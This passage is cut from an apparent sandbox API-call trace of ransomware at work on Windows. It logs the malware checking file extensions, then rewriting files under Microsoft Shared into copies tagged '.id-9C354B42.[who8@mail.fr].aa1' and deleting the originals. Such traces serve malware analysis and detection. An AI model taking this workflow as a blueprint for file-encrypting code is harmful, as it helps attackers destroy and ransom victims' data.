lpString2=".emf") returned 1 [0215.054] lstrlenW (lpString=".xlsx") returned 5 [0215.054] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0215.054] lstrlenW (lpString=".ppt") returned 4 [0215.054] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.054] lstrlenW (lpString=".zip") returned 4 [0215.054] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.054] lstrlenW (lpString=".rar") returned 4 [0215.054] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.054] lstrlenW (lpString=".bz2") returned 4 [0215.054] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.054] lstrlenW (lpString=".7z") returned 3 [0215.055] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString=".dbf") returned 4 [0215.055] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString=".1cd") returned 4 [0215.055] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString=".jpg") returned 4 [0215.055] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString=".doc") returned 4 [0215.055] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.055] lstrlenW (lpString=".docx") returned 5 [0215.055] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0215.055] lstrlenW (lpString=".pdf") returned 4 [0215.055] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.055] lstrlenW (lpString=".xls") returned 4 [0215.055] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.055] lstrlenW (lpString=".xlsx") returned 5 [0215.055] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0215.055] lstrlenW (lpString=".ppt") returned 4 [0215.055] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.055] lstrlenW (lpString=".zip") returned 4 [0215.055] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.055] lstrlenW (lpString=".rar") returned 4 [0215.056] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.056] lstrlenW (lpString=".bz2") returned 4 [0215.056] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.056] lstrlenW (lpString=".7z") returned 3 [0215.056] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.056] lstrlenW (lpString=".dbf") returned 4 [0215.056] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.056] lstrlenW (lpString=".1cd") returned 4 [0215.056] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0215.056] lstrlenW (lpString=".jpg") returned 4 [0215.056] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.056] lstrcmpiW (lpString1=".emf", lpString2=".aa1") returned 1 [0215.056] lstrlenW (lpString="Genko_2.emf") returned 11 [0215.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.056] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=10340) returned 1 [0215.057] CloseHandle (hObject=0x178) returned 1 [0215.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0215.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.057] lstrlenW (lpString=".doc") returned 4 [0215.057] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.057] lstrlenW (lpString=".docx") returned 5 [0215.057] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0215.057] lstrlenW (lpString=".pdf") returned 4 [0215.057] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.057] lstrlenW (lpString=".xls") returned 4 [0215.057] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.057] lstrlenW (lpString=".xlsx") returned 5 [0215.057] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0215.057] lstrlenW (lpString=".ppt") returned 4 [0215.057] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.057] lstrlenW (lpString=".zip") returned 4 [0215.057] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.057] lstrlenW (lpString=".rar") returned 4 [0215.057] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.058] lstrlenW (lpString=".bz2") returned 4 [0215.058] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.058] lstrlenW (lpString=".7z") returned 3 [0215.058] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.058] lstrlenW (lpString=".dbf") returned 4 [0215.058] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.058] lstrlenW (lpString=".1cd") returned 4 [0215.058] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.058] lstrlenW (lpString=".jpg") returned 4 [0215.058] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.058] lstrlenW (lpString=".doc") returned 4 [0215.058] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.058] lstrlenW (lpString=".docx") returned 5 [0215.058] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0215.058] lstrlenW (lpString=".pdf") returned 4 [0215.058] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.058] lstrlenW (lpString=".xls") returned 4 [0215.058] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.058] lstrlenW (lpString=".xlsx") returned 5 [0215.058] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0215.058] lstrlenW (lpString=".ppt") returned 4 [0215.058] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.059] lstrlenW (lpString=".zip") returned 4 [0215.059] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.059] lstrlenW (lpString=".rar") returned 4 [0215.059] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.059] lstrlenW (lpString=".bz2") returned 4 [0215.059] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.059] lstrlenW (lpString=".7z") returned 3 [0215.059] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.059] lstrlenW (lpString=".dbf") returned 4 [0215.059] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.059] lstrlenW (lpString=".1cd") returned 4 [0215.059] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0215.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0215.059] lstrlenW (lpString=".jpg") returned 4 [0215.059] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0215.059] lstrcmpiW (lpString1=".emf", lpString2=".aa1") returned 1 [0215.059] lstrlenW (lpString="Graph.emf") returned 9 [0215.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.060] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=116724) returned 1 [0215.060] CloseHandle (hObject=0x178) returned 1 [0215.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0215.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0215.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0215.061] lstrlenW (lpString=".doc") returned 4 [0215.061] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0215.061] lstrlenW (lpString=".docx") returned 5 [0215.061] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0215.061] lstrlenW (lpString=".pdf") returned 4 [0215.061] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0215.061] lstrlenW (lpString=".xls") returned 4 [0215.061] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0215.061] lstrlenW (lpString=".xlsx") returned 5 [0215.061] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0215.061] lstrlenW (lpString=".ppt") returned 4 [0215.061] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0215.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0215.061] lstrlenW (lpString=".zip") returned 4 [0215.061] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0215.061] lstrlenW (lpString=".rar") returned 4 [0215.061] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0215.061] lstrlenW (lpString=".bz2") returned 4 [0215.061] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0215.061] lstrlenW (lpString=".7z") returned 3 [0215.061] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0215.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0215.061] lstrlenW (lpString=".dbf") returned 4 [0215.061] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0218.634] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=19780) returned 1 [0218.634] CloseHandle (hObject=0x188) returned 1 [0218.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0218.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0218.634] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.635] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0218.635] GetLastError () returned 0x0 [0218.635] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0218.637] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0218.639] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.639] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.639] SetEndOfFile (hFile=0x1a0) returned 1 [0218.639] CloseHandle (hObject=0x1a0) returned 1 [0218.639] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.639] SetEndOfFile (hFile=0x188) returned 1 [0218.640] CloseHandle (hObject=0x188) returned 1 [0218.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.641] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0218.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.641] lstrlenW (lpString=".doc") returned 4 [0218.641] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.641] lstrlenW (lpString=".docx") returned 5 [0218.641] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.641] lstrlenW (lpString=".pdf") returned 4 [0218.641] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.641] lstrlenW (lpString=".xls") returned 4 [0218.641] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.641] lstrlenW (lpString=".xlsx") returned 5 [0218.641] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.641] lstrlenW (lpString=".ppt") returned 4 [0218.641] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.641] lstrlenW (lpString=".zip") returned 4 [0218.641] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.641] lstrlenW (lpString=".rar") returned 4 [0218.641] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.641] lstrlenW (lpString=".bz2") returned 4 [0218.641] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0218.641] lstrlenW (lpString=".7z") returned 3 [0218.641] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.641] lstrlenW (lpString=".dbf") returned 4 [0218.642] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString=".1cd") returned 4 [0218.642] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString=".jpg") returned 4 [0218.642] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString=".doc") returned 4 [0218.642] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString=".docx") returned 5 [0218.642] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.642] lstrlenW (lpString=".pdf") returned 4 [0218.642] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString=".xls") returned 4 [0218.642] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.642] lstrlenW (lpString=".xlsx") returned 5 [0218.642] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.642] lstrlenW (lpString=".ppt") returned 4 [0218.642] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString=".zip") returned 4 [0218.642] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.642] lstrlenW (lpString=".rar") returned 4 [0218.642] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.642] lstrlenW (lpString=".bz2") returned 4 [0218.642] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0218.642] lstrlenW (lpString=".7z") returned 3 [0218.642] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0218.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.642] lstrlenW (lpString=".dbf") returned 4 [0218.643] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0218.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.643] lstrlenW (lpString=".1cd") returned 4 [0218.643] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0218.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0218.643] lstrlenW (lpString=".jpg") returned 4 [0218.643] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0218.643] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0218.643] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0218.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0218.643] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=34916) returned 1 [0218.643] CloseHandle (hObject=0x188) returned 1 [0218.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0218.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0218.644] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.644] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0218.644] GetLastError () returned 0x0 [0218.644] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x8864, lpOverlapped=0x0) returned 1 [0218.844] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x8870, lpOverlapped=0x0) returned 1 [0218.846] ReadFile (in: hFile=0x188, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.846] WriteFile (in: hFile=0x1a0, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.846] SetEndOfFile (hFile=0x1a0) returned 1 [0218.846] CloseHandle (hObject=0x1a0) returned 1 [0218.847] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.847] SetEndOfFile (hFile=0x188) returned 1 [0218.848] CloseHandle (hObject=0x188) returned 1 [0218.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0218.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 1 [0218.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.848] lstrlenW (lpString=".doc") returned 4 [0218.848] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0218.848] lstrlenW (lpString=".docx") returned 5 [0218.848] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0218.848] lstrlenW (lpString=".pdf") returned 4 [0218.848] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0218.848] lstrlenW (lpString=".xls") returned 4 [0218.848] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0218.849] lstrlenW (lpString=".xlsx") returned 5 [0218.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0218.849] lstrlenW (lpString=".ppt") returned 4 [0218.849] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0218.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG") returned 73 [0218.849] lstrlenW (lpString=".zip") returned 4 [0218.849] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0218.849] lstrlenW (lpString=".rar") returned 4 [0218.849] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0218.849] lstrlenW (lpString=".bz2") returned 4 [0218.849] lstrcmpiW (lpString1=".bz2", 